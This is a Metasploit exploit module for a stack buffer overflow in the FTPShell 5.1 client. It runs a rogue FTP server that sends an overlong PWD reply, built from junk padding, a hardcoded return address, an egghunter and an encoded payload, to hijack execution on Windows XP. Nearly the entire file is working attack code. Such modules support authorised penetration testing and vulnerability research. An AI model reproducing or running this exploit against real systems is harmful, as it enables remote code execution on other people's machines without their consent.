##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Exploit::Remote::FtpServer
  include Exploit::Remote::Egghunter

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'FTPShell 5.1 Stack Buffer Overflow',
        'Description' => %q{
          This module exploits a stack buffer overflow in FTPShell 5.1. The overflow gets
          triggered when the ftp client tries to process an overly long response to a PWD
          command. This will overwrite the saved EIP and structured exception handler.
        },
        'Author' => [
          'corelanc0d3r <peter.ve[at]corelan.be>'	# found bug, wrote the exploit
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2017-6465' ],
          [ 'OSVDB', '68639'],
          [ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'thread',
        },
        'Payload' => {
          'BadChars' => "\x00\xff\x0d\x5c\x2f\x0a",
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'Windows XP Universal', { 'Offset' => 399, 'Ret' => 0x779A5483 } ], # jmp ebp [setupapi.dll]]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2010-10-12',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def setup
    super
  end

  def on_client_unknown_command(c, cmd, arg)
    c.put("200 OK\r\n")
  end

  def on_client_command_pwd(c, arg)
    badchars = ""
    eggoptions =
      {
        :checksum => true,
        :eggtag => "w00t"
      }
    hunter, egg = generate_egghunter(payload.encoded, badchars, eggoptions)

    print_status(" - PWD command -> Sending payload")
    junk = "A" * target['Offset']
    nops = "A" * 10
    tweakhunter = "\x5a\x5a"
    eip = [target.ret].pack('V')
    buffer = junk + eip + nops + tweakhunter + hunter + egg
    pwdoutput = "257  \"/" + buffer + "\" is current directory\r\n"
    c.put(pwdoutput)
    print_status(" - Sent #{pwdoutput.length} bytes, wait for hunter")
    return
  end
end
